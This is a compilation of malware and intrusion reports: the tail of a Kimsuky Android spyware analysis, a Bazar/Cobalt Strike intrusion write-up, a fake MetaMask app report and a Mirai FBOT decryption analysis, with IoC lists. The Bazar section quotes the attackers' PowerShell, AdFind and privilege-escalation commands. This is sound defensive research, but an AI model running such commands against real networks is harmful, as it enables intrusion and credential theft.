device token to the C&C server, which sends commands to the infected device through Firebase Cloud Messaging (FCM). 1. **Request a Permission**: FastFire requests permission to operate as a Google Security Plugin. 2. **C&C Communication in Services**: The MyFirebaseMessagingService class is executed to receive commands through FCM. 3. **Additional C&C Server and Malicious Pages**: An additional domain associated with FastFire’s C&C server was discovered, indicating further malicious infrastructure. ### FastViewer & FastSpy FastViewer impersonates the “Hancom Office Viewer,” a widely used mobile document viewer. It performs malicious actions when reading specially crafted document files. FastViewer downloads FastSpy malware and executes it in memory for additional malicious actions. #### Detailed Analysis of FastViewer & FastSpy 1. **String Decryption Algorithm**: FastViewer uses a custom algorithm to decrypt strings. 2. **Request Permissions**: It requests additional permissions for malicious actions. 3. **Check the Header of Document Files**: Malicious behavior is triggered by specific document files. 4. **C&C Communication**: FastViewer collects device information and communicates with the C&C server. 5. **Download an Additional Module - FastSpy**: FastSpy is a compressed DEX file that performs remote control functions. ### Attribution The analysis of FastFire, FastViewer, and FastSpy revealed that they share infrastructure and tactics used by the Kimsuky group. The domains associated with FastFire have a history of being used in previous Kimsuky campaigns. ## Conclusion The Kimsuky group has continuously targeted mobile devices to steal information. Their use of Firebase as a C&C server and the customization of AndroSpy indicate advanced tactics. Future caution is required as Kimsuky may distribute similar malicious codes targeting Android devices. ## Appendix A: IoC - **FastFire**: - FDD0E18E841D3EC4E501DD8BF0DA68201779FD90237C1C67078D1D915CD13045 - C038B20F104BE66550D8DD3366BF4474398BEEA330BD25DAC2BB2FD4B5377332 - 1510780646E92CBEFC5FB4F4D7D2997A549058712A81553F90E197E907434672 - 38D1D8C3C4EC5EA17C3719AF285247CB1D8879C7CF967E1BE1197E60D42C01C5 - 884FF7E3A3CEA5CE6371851F205D703E77ABC7D1427D21800A04A205A124B649 - **FastViewer**: - 031BDE16D3B75083B0ADDA754AA982D4F6BD91E6B9D0531D5486DC139A90CE5A - **FastSpy**: - AE7436C00E2380CDABBDCCCACF134B95DDBAF2A40483FA289535DD6207CC58CE - 539231DEA156E29BD6F7ED8430BD08A4E07BA330A9FAD799FEA45D9E9EED070C - **key_ps.txt**: - 9722107FFF4F3B2255556E0CF4D367CCB73305C34B1746BAED31B16899EEFC4B - **info_sc.txt**: - 59CB6BB54A6A222C863258BAF9EE2500A539B55411B468A3E672FE7B26166B98
# Bazar, No Ryuk? ## Intro In the fall of 2020, Bazar came to prominence when several campaigns delivered Ryuk ransomware. While Bazar appeared to drop off in December, new campaigns have sprung up recently, using similar TTPs. In this case, we will describe how the threat actor went from a DocuSign themed, malicious document, to domain wide compromise, using Bazar aka KEGTAP and Cobalt Strike. ## Case Summary This investigation began as many do, with a malicious document delivered via email. The email and accompanying Excel file purported to be a DocuSign request, which entices the user to enable macros. This led to Bazar being dropped on the system, which created a run key for persistence. On the first day, after the initial activity, nothing else was seen. On the second day, we observed DNS requests to .bazar domain names (the hallmark of the Bazar malware family). The malware also executed some basic nltest domain discovery and a short ping to a Cobalt Strike server, but no additional activity was observed. On the third day, more communication was observed between the Bazar and Cobalt Strike infrastructure, but again, no downloads or follow-on activity was observed. On the fourth day, Bazar pulled down a Cobalt Strike Beacon in the form of a DLL, which was executed via rundll32 and injected into various system processes. One of those processes injected into was dllhost, which then ran various PowerSploit commands for discovery activity and dumped credentials from lsass. Shortly thereafter, the threat actors began moving laterally using multiple techniques, such as: - Pass the Hash - SMB executable transfer and exec - RDP - Remote service execution The threat actors then continued pivoting and collecting more information about the environment. About an hour after beginning their lateral movement, they had compromised a domain controller. On that domain controller, they executed AdFind and then dropped a custom PowerShell script named Get-DataInfo.ps1. This script looks for all active machines and queries installed software, i.e., backup software, security software, etc. We first saw this script about a year ago when threat actors deployed Ryuk ransomware across a domain. Other public data has also linked this TTP to Ryuk threat actors. However, in this case, about 15 minutes after running the script, the threat actor dropped their access and left the environment. We do not know what caused them to leave, but we have some ideas. Based on the TTPs of this intrusion, we assess, with medium to high confidence, that Ryuk would have been the likely ransomware deployed. Total time in the environment was around 4 days. We recently started offering intel feeds based on different command and control infrastructure such as Cobalt Strike, Qbot, Trickbot, PoshC2, PS Empire, etc., and this feed would have alerted on the Cobalt Strike C2 in this case. If you’re interested in pricing or interested in a trial please use Contact Us to get in touch. ## Timeline ### MITRE ATT&CK **Initial Access** Initial access to the environment was via a malicious email that entices a user to download an Excel document with macros using a DocuSign social engineering theme. **Execution** The Excel document required the user to enable content to execute. The embedded macro in the file was using an Excel 4.0 macro, which at the time of execution had a detection rate of 1/63 in Virustotal. Upon execution of the macro, the file reached out to: `https://juiceandfilm[.]com/salman/qqum.php` From there a file was written: `C:\Users\USER\Downloads\ResizeFormToFit.exe` From here the executable then proceeds to create a new file and execute it via cmd. Four days post initial access, a Cobalt Strike Beacon was executed via rundll32 and cmd. **Persistence** Immediately following the execution of M1E1626.exe, a persistence mechanism was created for the file using a run key. This file was found to be a BazarBackdoor sample. **Privilege Escalation** The use of the Cobalt Strike’s piped privilege escalation (Get-System) was used several times during the intrusion. `cmd.exe /c echo a3fed5b3a32 > \\.\pipe\3406c2` **Defense Evasion** After loading the Cobalt Strike DLL, there was an almost instant injection by the process into the Werfault process. We also see the Cobalt Strike Beacon running in the dllhost.exe process, loading PowerShell to perform PowerSploit commands in the discovery section. Additionally, via the use of YARA inspection, we found Cobalt Strike running or injected into processes across the environment. **Credential Access** Lsass was dumped using Cobalt Strike on multiple occasions. We were not able to recover any proof other than parent/child processes. **Discovery** A day after initial access, Bazar initiated some discovery activity using Nltest: `cmd.exe /c nltest /domain_trusts /all_trusts` On the fourth day, a Cobalt Strike Beacon was executed and then the following discovery commands were executed: `C:\Windows\system32\cmd.exe /C net group "enterprise admins" /domain` `C:\Windows\system32\cmd.exe /C net group "domain admins" /domain` On the initial beachhead host, we also saw the Cobalt Strike Beacon initiate the following PowerShell discovery using Powersploit: `IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:35806/'); Find-LocalAdminAccess` `IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:35585/'); Get-NetComputer -ping -operatingsystem *server*` `IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:23163/'); Get-NetSubnet` After beginning lateral movement, the threat actors used the following Windows utilities for system profiling: `C:\Windows\system32\cmd.exe /C systeminfo` `C:\Windows\system32\cmd.exe /C ping HOST` Once the threat actors had access to a domain controller, they ran the following PowerShell discovery: Raw: `SQBtAHAAbwByAHQALQBNAG8AZAB1AGwAZQAgAEEAYwB0AGkAdgBlAEQAaQByAGUAYwB0AG8AcgB5ADsAIABHAG` Decoded: `Import-Module ActiveDirectory; Get-ADComputer -Filter {enabled -eq $true} -properties *|select DNSHostName, IPv4Address, OperatingSystem, LastLogonDate` After running that, the threat actors used nltest again to confirm domain trusts: `C:\Windows\system32\cmd.exe /C nltest /domain_trusts /all_trusts` The local time was also queried on the domain controller: `C:\Windows\system32\cmd.exe /C time` AdFind was executed using adf.bat: `C:\Windows\system32\cmd.exe /C C:\Windows\Temp\adf\adf.bat` `adfind.exe -f "(objectcategory=person)"` `adfind.exe -f "objectcategory=computer"` `adfind.exe -f "(objectcategory=organizationalUnit)"` `adfind.exe -sc trustdmp` `adfind.exe -subnets -f (objectCategory=subnet)` `adfind.exe -f "(objectcategory=group)"` `adfind.exe -gcb -sc trustdmp` Finally, the following collection of files were dropped on the domain controller: `C:\Users\USER\Desktop\info\7z.exe` `C:\Users\USER\Desktop\info\comps.txt` `C:\Users\USER\Desktop\info\Get-DataInfo.ps1` `C:\Users\USER\Desktop\info\netscan.exe` `C:\Users\USER\Desktop\info\start.bat` start.bat was executed with the following: `C:\Windows\system32\cmd.exe /c ""C:\Users\USER\Desktop\info\start.bat""` This script contents show it to be a wrapper for the PowerShell script Get-DataInfo.ps1. The contents of Get-DataInfo.ps1 show a detailed information collector to provide the threat actor with very specific details of the environment. This includes things like disk size, connectivity, antivirus software, and backup software. The Ryuk group has used this script for at least a year as we’ve seen them use it multiple times. ## Lateral Movement The threat actors deployed several types of lateral movements over the course of the intrusion. The first observed method was the use of a remote service using PowerShell which injected into winlogon. The threat actors also leveraged SMB to send Cobalt Strike Beacon executables to $ADMIN shares and again execute them on the remote systems via a service. SMB Beacon as it's called in Cobalt Strike. Pass the Hash was also used by the attackers while pivoting through the environment. RDP was also leveraged by the attacker via their Cobalt Strike Beacons. ## Command and Control **Bazar:** Communication over DNS to .bazar domains. **Cobalt Strike:** 195.123.222.23 JARM: 07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1 JA3s: ae4edc6faf64d08308082ad26be60767, 649d6810e8392f63dc311eecb6b7098b JA3: 72a589da586844d7f0818ce684948eea, 51c64c77e60f3980eea90869b68c58a8, 613e01474d42ebe48ef52dff6a20f079, 7dd50e112cd23734a310b90f6f44a7cd Certificate: [79:97:9a:e4:cb:ae:ae:32:d6:4a:e5:0e:f6:73:d0:69:e9:19:c1:54] Not Before: 2020/12/21 04:27:54 Not After: 2021/12/21 04:27:54 Issuer Org: jQuery Subject Common: jquery.com Subject Org: jQuery Public Algorithm: rsaEncryption ## Exfiltration We did not witness exfiltration in the clear during this case but we have recently become aware of Ryuk threat actors exfiltrating information over the Cobalt Strike C2 channel. ## Impact After finishing discovery, the threat actors disconnected from the network dropping both Bazar and Cobalt Strike. We believe the next phase of this attack would have been domain wide ransomware. ## IOCs **Network** `https://juiceandfilm.com/salman/qqum.php` 195.123.222.23 52.37.54.140 52.90.110.55 52.91.20.198 54.151.74.109 54.184.178.68 54.193.45.225 54.202.186.121 208.100.26.238 **Endpoint** request_form_1609982042.xlsm d50d1513573da2dcfb6b4bbc8d1a87c0 5e272afe665f15e0421ec71d926f0c08a734d3a9 571c32689719ba00f0d60918ae70a8edc185435ce3201413c75da1dbd269f88c M1E1626.exe 8a528ec7943727678bac5b9f1b74627a 05cbef6bd0992e3532a3c597957f821140b61b94 d362c83e5a6701f9ae70c16063d743ea9fe6983d0c2b9aa2c2accf2d8ba5cb38 start.bat 0ab5c442d5a202c213f8a2fe2151fc3f a780085d758aa47bddd1e088390b3bcc0a3efc2e 63de40c7382bbfe7639f51262544a3a62d0270d259e3423e24415c370dd77a60 Get-DataInfo.ps1 8ea370c4c13ee94dcb827530d4cc807c aff6138088d5646748eeaa8a7ede1ff812c82c04 6f5f3c8aa308819337a2f69d453ab2f6252491aa0ccc94a8364d0c3c10533173 netscan.exe 16ef238bc49b230b9f17c5eadb7ca100 a5c1e4203c740093c5184faf023911d8f12df96c ce6fc6cca035914a28bbc453ee3e8ef2b16a79afc01d8cb079c70c7aee0e693f ## Detections **Network** ET INFO Observed DNS Query for EmerDNS TLD (.bazar) ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC) ETPRO TROJAN Observed Malicious SSL Cert (Cobalt Strike CnC) **MITRE** - Spearphishing Link – T1566.002 - User Execution – T1204 - Command-Line Interface – T1059 - Domain Trust Discovery – T1482 - Pass the Hash – T1550.002 - Remote Desktop Protocol – T1021.001 - SMB/Windows Admin Shares – T1021.002 - Domain Account – T1087.002 - Domain Groups – T1069.002 - System Information Discovery – T1082 - System Time Discovery – T1124 - Security Software Discovery – T1518.001 - Software Discovery – T1518 - Rundll32 – T1218.011 - DNS – T1071.004 - Commonly Used Port – T1043 - Service Execution – T1569.002 - PowerShell – T1059.001 - Registry Run Keys / Startup Folder – T1547.001
# Fake MetaMask App Steals Cryptocurrency **Sophisticated Phishing Attack Targets MetaMask Users on Android and iOS** Cryptocurrency has skyrocketed in popularity over the past few years. More people are investing in different cryptocurrencies than ever before, given how accessible it is in the current market. Cryptocurrency’s primary appeal is its decentralized, self-governed nature and ease of transaction. Crypto wallets like MetaMask, Coinbase, Binance, and Exodus are the medium of choice for many to manage and transact cryptocurrency. As cryptocurrency gains popularity worldwide, it may replace regular currency to some extent in the future. However, this is not without its downsides. Cryptocurrency also acts as an enabler for phishing, scams, hacking, and other malicious activities due to its decentralized nature. During our routine Open-Source Intelligence (OSINT) research, Cyble Research Labs came across certain phishing sites distributing malware targeting the MetaMask application. MetaMask is a popular cryptocurrency wallet that interacts with the Ethereum blockchain and allows users to access the Ethereum wallet through a web browser or mobile app. This particular malware targets both Android and iOS MetaMask users and steals seed phrases from the victim’s device. A seed phrase is a sequence of words used to access a cryptocurrency wallet. Threat Actors (TAs) can compromise crypto wallets and steal various cryptocurrencies from the victim’s MetaMask account by stealing the seed phrase. Our analysis indicates that the objective of the malware is to steal cryptocurrency and specifically target users based out of China. Cyble Research Labs observed that the malicious package is hosted on over ten different phishing sites. We believe that the user could have received a spam SMS or email containing a phishing URL. When users first visit the phishing URL, they will see a page similar to a legitimate MetaMask website. The phishing site uses the icon and name of the MetaMask wallet in addition to copying the UI of the genuine MetaMask website to trick the user. Upon investigating the phishing website, we observed that the TAs had changed the URL of the “Download now” button, which downloads the malicious package. However, the rest of the controls on the phishing website, such as features, support, etc., point to the legitimate MetaMask site to appear genuine to potential victims. When users interact with the ‘Download’ button, they are redirected to the download options page, where the user can download the app for iOS, Chrome, and Android. If users click on the Chrome download option, they are redirected to the Chrome web store, and they can then download the genuine MetaMask extension. This activity confirms that the Threat Actor only targets iOS and Android MetaMask users. When a user clicks on “Install MetaMask for iPhone,” it takes them to a phishing site that loads a page with a QR code, which will then download a malicious app targeting iPhone MetaMask users. For Android, the site will download the Android malware file named “matemask.apk.” ## APK Analysis While analyzing the downloaded APK file, we observed that the genuine application had been modified with malicious code to steal the wallet’s seed phrase. **APK Metadata Information** - App Name: MetaMask - Package Name: io.MetaMask - SHA256 Hash: d918019edb12a3d8542d0905256fd5ce56fe515a7bbce77d27494e13def4b3ee Upon analyzing the manifest file, we observed that the package name and class name were the same, making the app appear genuine to potential victims. We observed a defined launcher activity in the malicious app’s manifest file, extending the react-native class and loading the “index.Android.bundle” file from assets. Once the application is installed, it asks the user to import the wallet using the seed phrase. The app does not accept random seed phrases. It has a predefined dictionary of words in the JavaScript script. If the seed phrase matches the pattern from the dictionary, it will send the seed phrase to the Command & Control (C&C) server. Dynamic analysis confirms that the application sends a seed phrase to the malicious server. The seed phrase is used to access crypto wallets. TAs can thus use the harvested seed phrase to access the wallet and steal cryptocurrency, causing financial loss to victims. Since the seed phrase is sent to the attacker’s server using an unsecured HTTP connection, other attackers who are monitoring the victim’s outgoing network connection can also compromise the wallets. ## Conclusion According to our research, the fake crypto wallet targets MetaMask iOS and Android users. The fake wallet does not need many Android permissions to steal seed phrases and cryptocurrency. However, the Threat Actor mimicked the genuine MetaMask website extremely closely, making it easier to trick potential victims. Crypto wallets must strengthen their mobile-first approach and prepare for the challenges posed by this threat by understanding the security landscape. This can be achieved by implementing a real-time threat-driven mobile security strategy. ## Our Recommendations We have listed some essential cybersecurity best practices that create the first line of control against attackers. We recommend that our readers follow the best practices given below: ### How to Prevent Malware Infection - Download and install software only from official app stores like Google Play Store or the iOS App Store. - Use a reputed anti-virus and internet security software package on your connected devices, such as PCs, laptops, and mobile devices. - Use strong passwords and enforce multi-factor authentication wherever possible. - Enable biometric security features such as fingerprint or facial recognition for unlocking the mobile device where possible. - Be wary of opening any links received via SMS or emails delivered to your phone. - Ensure that Google Play Protect is enabled on Android devices. - Be careful while enabling any permissions. - Keep your devices, operating systems, and applications updated. ### How to Identify Whether You Are Infected - Regularly check the Mobile/Wi-Fi data usage of applications installed on mobile devices. - Keep an eye on the alerts provided by anti-viruses and Android OS and take necessary actions accordingly. ### What to Do When You Are Infected - Disable Wi-Fi/Mobile data and remove SIM card – as in some cases, the malware can re-enable the Mobile Data. - Perform a factory reset. - Remove the application in case a factory reset is not possible. - Take a backup of personal media files (excluding mobile applications) and perform a device reset. ### What to Do in Case of Any Fraudulent Transaction - In case of a fraudulent transaction, immediately report it to the concerned bank. ### What Should Banks Do to Protect Their Customers - Banks and other financial entities should educate customers on safeguarding themselves from malware attacks via telephone, SMS, or emails. ## MITRE ATT&CK® Techniques | Tactic | Technique ID | Technique Name | |----------------------|--------------|--------------------------------------------------| | Initial Access | T1444 | Masquerade as Legitimate Application | | Initial Access | T1476 | Deliver Malicious App via Other Means | | Credential Access | T1417 | Input Capture | ## Indicators of Compromise (IoCs) | Indicators | Indicator’s Type | Description | |---------------------------------------------------------------------------|------------------|--------------------------------------| | d918019edb12a3d8542d0905256fd5ce56fe515a7bbce77d27494e13def4b3ee | SHA256 | Hash of the analyzed APK file | | a5eee8c21c84a8d1842522f36acd40345bab8e46 | SHA1 | Hash of the analyzed APK file | | b2ed11bbe7d51aa7817deb30107218e0 | MD5 | Hash of the analyzed APK file | | 488DA6E9F2D6BB8F4B9C1FD6115EC9DCD4AC30FDEB29835F3EC763666E60D301 | SHA256 | Hash of the downloaded APK file | | 1c7e1ecaa457aabd79e0245c4d8d94f36ca4c3ce | SHA1 | Hash of the downloaded APK file | | d9787f93d44549ad37d04cf61021ffd7 | MD5 | Hash of the downloaded APK file | | B36B763087F96D0E24AA54C4BB2B7F78501F7131D569C104A3D8A71E97C8613E | SHA256 | Hash of the downloaded APK file | | 6fc0061911f1a31e005351ff8689b4583d399386 | SHA1 | Hash of the downloaded APK file | | 5ed56bc471ccef5e515a1429ced028e7 | MD5 | Hash of the downloaded APK file | | 63AA4A82D7E50378AACA858E66428A0900F3DD820C4DCB2968A3C47201295EBD | SHA256 | Hash of the downloaded APK file | | e529c52a37af83705ef31c4efcbce7bb39481c38 | SHA1 | Hash of the downloaded APK file | | 284a73979350752f581fcb417a1252c0 | MD5 | Hash of the downloaded APK file | | C75B5AADBCD01232D833C1AF69636AB307A397E6C94C9D4855B3A42F788BDB6D | SHA256 | Hash of the downloaded APK file | | 6650e33cf12629a8c41bc9aadad170a43cd8ed1c | SHA1 | Hash of the downloaded APK file | | 95a7c58c1a0b8c00e0a2e6cf1662a123 | MD5 | Hash of the downloaded APK file | | 385C003D21DA97D2B25EB9734697EFDBD18A21CF85BD33CF98C422A226AC39C2 | SHA256 | Hash of the downloaded APK file | | a4aa58d4f53b963492baac58c077710f49ca2faf | SHA1 | Hash of the downloaded APK file | | 77ed1990d56deab7b221d928ace7db3f | MD5 | Hash of the downloaded APK file | | 488DA6E9F2D6BB8F4B9C1FD6115EC9DCD4AC30FDEB29835F3EC763666E60D301 | SHA256 | Hash of the downloaded APK file | | 1c7e1ecaa457aabd79e0245c4d8d94f36ca4c3ce | SHA1 | Hash of the downloaded APK file | | d9787f93d44549ad37d04cf61021ffd7 | MD5 | Hash of the downloaded APK file | | 4C208CD3F483AFD29407B72E045300A632623BD7C4F95619B4ECFD7E69768482 | SHA256 | Hash of the downloaded APK file | | 84b974bde9d7f8f89cc0da6ee6bf8692d34902b0 | SHA1 | Hash of the downloaded APK file | | 4e158e179c944570fb40c8ebd85e3d47 | MD5 | Hash of the downloaded APK file | | 1DA7FC47604F638938F15087023FAE48573D8E21880B02D9A15FE0BCD947A865 | SHA256 | Hash of the downloaded APK file | | bb6e24effa12e9d5c133e448a471ab5ec609d84d | SHA1 | Hash of the downloaded APK file | | 684b1a3b979318917a04c3053dfdcc52 | MD5 | Hash of the downloaded APK file | | CE256355F59AE7DD701DB0E51BA645F0B6A47FC25DD15B9C076ADA9764EB1318 | SHA256 | Hash of the downloaded APK file | | ef6a4a5d8caddbc41feb51ae3b7e474b7cd17ba1 | SHA1 | Hash of the downloaded APK file | | a0e2644d2fd4c8903371579c92cf17a7 | MD5 | Hash of the downloaded APK file | | 1E77AED17F4CDBAAF7751BC05EFCA9C8AFA3B51778D26C5CD2DD5C55E819A2FF | SHA256 | Hash of the downloaded APK file | | b1aa8fbf881229c1257089543ffdc5e6122f8381 | SHA1 | Hash of the downloaded APK file | | 91afa7cad52ea2b12bb294c8361756e2 | MD5 | Hash of the downloaded APK file | | 6F4CFB2368FEBC5BB36D6E84DC8BB78C7ED7BC17CFB5FA7DFCFF02CACA62B462 | SHA256 | Hash of the downloaded APK file | | 5cf3e45ada86d4cf1cfab644d6a504e012e74505 | SHA1 | Hash of the downloaded APK file | | 4fb179aa6d666d63997fa05bf8859f41 | MD5 | Hash of the downloaded APK file | | 9611BDC48045085A2AAF1B6D7F972EE5B6B0CDF1CD2641DD208FB98C8CDDD160 | SHA256 | Hash of the downloaded APK file | | 1F7BDD62FB50A21132E01D33373EED86CAE48D66 | SHA1 | Hash of the downloaded APK file | | C3DF503BD4EC0778998EBEA1C0D57624 | MD5 | Hash of the downloaded APK file | | hxxp://39.109.123.213/handler[.]ashx | URL | C&C server | | hxxps://Metamask-cn[.]win/ | URL | Phishing domains distributing malicious app | | hxxp://matemask[.]bid/ | URL | Phishing domains distributing malicious app | | hxxps://matemask[.]men/ | URL | Phishing domains distributing malicious app | | hxxp://matemask[.]lol/ | URL | Phishing domains distributing malicious app | | hxxp://matemask[.]kim/ | URL | Phishing domains distributing malicious app | | hxxp://Metamask-cn[.]club/ | URL | Phishing domains distributing malicious app | | hxxp://Metamask-cn[.]fun/ | URL | Phishing domains distributing malicious app | | hxxp://matemask[.]tel/ | URL | Phishing domains distributing malicious app | | hxxp://Metamask[.]lawyer/ | URL | Phishing domains distributing malicious app | | hxxp://Metamask-cn[.]asia/ | URL | Phishing domains distributing malicious app | | hxxp://Metamask[.]engineer/ | URL | Phishing domains distributing malicious app | | hxxp://matemask[.]cool/ | URL | Phishing domains distributing malicious app | | hxxps://Metamaskn[.]com/ | URL | Phishing domains distributing malicious app |
# MMD-0065-2020 - Linux/Mirai-Fbot's New Encryption Explained ## Prologue I set up a local brand new ARM-based router I bought online around this new year 2020 to replace my old pots, and yesterday, it was soon pwned by malware, and I had to reset it to factory mode to make it work again (never happened before). When the "incident" occurred, the affected router wasn't dead but close to a freeze state, allowing me to operate enough to collect artifacts. When rebooted, that poor little box just wouldn't start again. For some reason, the infection somehow ruined the router system. As a summary for this case, in the router, I found an infection trace of a Mirai Linux malware variant called "FBOT," an ARM v5 binary variant, and it is just another modified version of the original Mirai malware (after a long list of other variants beforehand). The infection came from a malware spreader/scanner attack from "another" infected Internet of Things explained later on. There is an interesting new encryption logic in its configuration section in the binary, alongside the usage of the "legendary" Mirai table's encryption, so hopefully, this write-up will be useful for others to dissect the threat. This may not be an easy read, and it is a rather technical post, but if you are in forensics or reverse engineering on embedded platforms, i.e., IoT or ICS security, you may like it, or please bear with it. To make the post small and neat, I won't go into further detail on the router matter itself and just go straight to the malicious binary that caused the problem. Mirai is also a malware with a well-known functionality by now. It would be helpful if you know how it works beforehand. So I'll focus on the new decryption part of the artifact. I changed my analysis platform since SECCON 2019; I use "Tsurugi Linux SECCON edition," a special built version by Giovanni, with hardened/tested by me, supported by "Trufae" for radare2's r2ghidra & r2dec pre-installing process during the SECCON 2019 time. It's a Linux distribution for binary & forensics analysis, enriched with pre-compiled r2 with many architecture decompilers (i.e., r2ghidra, r2dec, and pdc), along with a ton of useful open-source binary analysis, DFIR tools with the OSINT/investigator's mode switch. This OS should suffice the analysis purpose. A new feature of r2ghidra (also r2dec) is used a lot. ### The Tool's Version Info: ``` !r2 -v radare2 4.1.0-git 24455 @ linux-x86-64 git.4.0.0-235-g982be50 commit: 982be504999364c966d339c4c29f20da80128e14 build: 2019-12-17__10:29:05 ``` ``` !uname -a Linux tsurugiseccon 5.4.2-050402-tsurugi #1 SMP Tue Dec 10 21:18:57 CET 2019 x86_64 x86_64 x86_64 GNU/Linux ``` Okay, let's write this, here we go... ## The Infection After successfully getting logs and cleaning them up, below is the timeline (in JST) that contains the infection detail: We can see one IP address 93.157.152.247 was gaining a user's login access. After checking the infection condition and confirming the previous infection binary instance, it downloaded and executed the ".t" payload that was fetched from another IP 5.206.227.65 afterwards. Other interesting highlights from this infection are: It flushes all the rules in the "filter" table of iptables; scanning (previous) infections; the usage of SATORI keyword during checking (which is actually not the original one since the original author has been arrested), and the downloading tool used is either tftp or wget. ``` fbot-arm: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped 3ea740687eee84832ecbdb202e8ed743 fbot-arm ``` The compromised IoT that was infecting my device is a made-in-China (PRC) "GPON OLT" device. It is important to know that they are vulnerable to this Mirai variant's infection. During the first detection, FBOT was running as per Mirai supposed to work, and from the COMM serial connection (telnet & SSH wasn't accessible due to high load average), we can see it runs like the below list of file results: The IP 5.206.227.65 also functioned as this FBOT C2 server that looks "out of service" during the above snapshot was taken. So the binary that was executed somehow deleted itself. I could not recover it. An interesting randomized process name is running in a memory area that is showing a successful infection. So, being careful not to shut down the load average 10 something small system, I dumped the binary from memory as I explained in the R2CON2018 and 2019.HACK.LU presentations I did, then I saved and renamed the binary into "fbot-arm" for further analysis purposes. The memory maps are a good guidance for this matter; the rest of memory and user space are clean. Note: you have to be very careful not to freeze the kernel or stop the malware during the process. I was lucky to install tools needed for hot forensics before the infection occurred. ## The Binary Analysis The dumped ARM binary can be seen in radare2 like this detail, which looks like a plain stripped ARM that may have come up as a result from cross-compilation. The binary headers, entry points, and sections don't show any strange things going on too; I think we can deal with the binary contents right away. ## The New Encryption and the Decryption When seeing the Fbot binary's strings, I found it very interesting to see that there's a "Satori botnet's signature" that was used for scanning vulnerable telnet by Satori botnets. That string is also hard-coded in this FBOT binary. The same string is also detected during the infection log too. This coincidence is really a "Deja Vu" to logs seen in the Mirai Satori infection era within 2017-2018. But let's focus on the encryption strings instead. There are two groups of encrypted configuration data (Mirai usually uses encrypted configuration data before being self-decrypted during the related execution process), but one group of data looks like it is encrypted in a new different logic. The first group of the data (the orange colored one) is in a form of encryption pattern that is not commonly found in Mirai binaries before, which is the point of this post actually. The blue-colored one is the data configuration that has been encrypted in a pattern that is being used in table.c:table_init() of the bot client, to then unlock them for further usage in malicious processes like telnet scanning (scanner_init) or other functions in Mirai operation. The blue color part's encryption method is a known one; we can later see its decrypted values too. The first configuration (encrypted) data will be firstly loaded by table.c:add_entry() variant function of Mirai, but during the further process, it is processed using a new different decryption. Summarizing this method in simpler words: that different decryption is a shuffle of the alphabetical character set, based on a XOR'ed key that permutes its position. Let's access the .rodata section in address 0xf454 where the first group data-set is located. When you get there, after checking the caller reference, it will lead you to a function at 0x9848 that's using those crypted values. If you go to the top of the function and see (address 0x984c and 0x9858) how two string-sets are loaded from addresses 0x10020 and 0x10062 to be passed into a function in 0x975C with their length of 0x42 as a secondary argument. The two set loaded string-sets are saved in the ARM binary in this location: There is a XOR key with value 0x59 applied to obfuscate the strings that were previously mentioned. Back to the function in 0x9848, the rest of the encrypted configuration data (the rest of "orange" ones) is parsed into a function in 0x9780. Function 0x9780 seems to be a modification of a table.c:add_entry() function in the original Mirai code (or similar variants). The modified (or additional) part is a decoder logic of the parsed data. The parsed data will be translated against the character map formed after XOR'ed that is stored in memory to have its desired result. I hope the below loop graph is good enough to explain how the decoder works statically (I have adjusted everything to fit into one image file). I think it would be better for you to see this first modified encryption config data process in the way it is called from the Mirai's table_init() function reversed. This should be close enough to what the adversary has coded. Dynamically, the character mapping process used to translate the encrypted strings can also be simulated in radare2 during on-memory analysis as per below result. So, additionally, static or dynamic reversing can produce the same result. I always prefer the static one since I don't have to run any malware code just to crack its configuration. ### The Encoder Table, in Text: ``` // The decoder is at [0x00009780], translated crypt into charmap below: MLSDFQWYXNCZRPOKGIUTABVHEJtfqomaechlynudwvjrxigkzsbp7890254163=@^$ ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789./ - ``` I announced it yesterday on Twitter; below is the decryption result. Since Mirai is coded in a way to make reverse engineering difficult, what you reverse in its binary's code-flow is not what has actually been coded in C. Please note this, for example, in Mirai, the usage of global variables and the global structs, the #define or #ifdef directives used, the method to unlock encryption process-used-variable values and then lock them all back afterwards, and many other tricks used and designed for the sake of obstructing reverse engineering. There is no shame in not reversing the overall codes into original ones, especially what you get is an embedded-platform system's binary like ARM or MIPS or SH with way simpler assembly code. Reversers know this. Don't let this discourage you from being proactive in reversing, but keep learning from it. Back to our binary, the timing on when the first and second encrypted configuration were decrypted during the malware execution process is different too. This is the rough C flow of what this ARM binary process looks like during execution. It's enough to explain my point, which is, the timing when the first configuration was executed is when the process of infection is happening, and the second configuration is used for the spreading/scanning purpose, which will be used afterward. (Warning! The function's namings above are self-made naming for my reversing purpose and not the actual ones; I don't have ESP power to read the mind of the coder by reading his stripped binary, so please bear with differences, etc.) The static code above can be easily filled with its argument values in two ways, following the registers or after you see how the malicious binary can simulate its system calls. Below is the snip code of what I did (the latter method) to show how this binary was executed as per flow above to reveal its values: Now we know for sure why I didn't get the file because it was self-deleted after running the first time. ## Conclusion As you can see in the decrypted strings, it has mentioned "pizza dongs helper." The C2 for this Mirai variant has been obviously shown during the infection stage (the data is saved in the configuration part that can be achieved by table.c at "init" process), it is on IP 5.206.227.65. If you do OSINT and seek passive DNS data of the IP address, you will see some similar hostnames and domains to the wording used in the decryption data. We keep on monitoring the spreader movement of this malware; these are several pickups of IoT devices log that are actively seeking for other vulnerable ARM devices. I sorted out in a timeline base. I hope the carriers that have vulnerable devices on the list can pay attention to address this issue. The IOC and STIX2 of this threat are in the posting process to usual portals. Lastly, as additional, the alleged botnet coder/owner has just sent his compliment, which is rare, so I attached it in this blog too. ## Epilogue This post is dedicated to wonderful people who fight tirelessly against IoT threats that keep on aiming our devices until now, and also to people who try very hard to push new policy to have us defend better against the threat. I hope this post helps you. Thank you very much to r2ghidra, r2dec, r2 folks, Tsurugi Linux folks, MMD mates and friends, and all I cannot mention here, for supporting our effort in analyzing Linux malicious code all the time. This technical analysis and its contents are an original work and firstly published in the current MalwareMustDie Blog post. The analysis and writing are made by @unixfreaxjp. The research contents are bound to our legal disclaimer guideline in sharing of MalwareMustDie NPO research material. **Malware Must Die!**
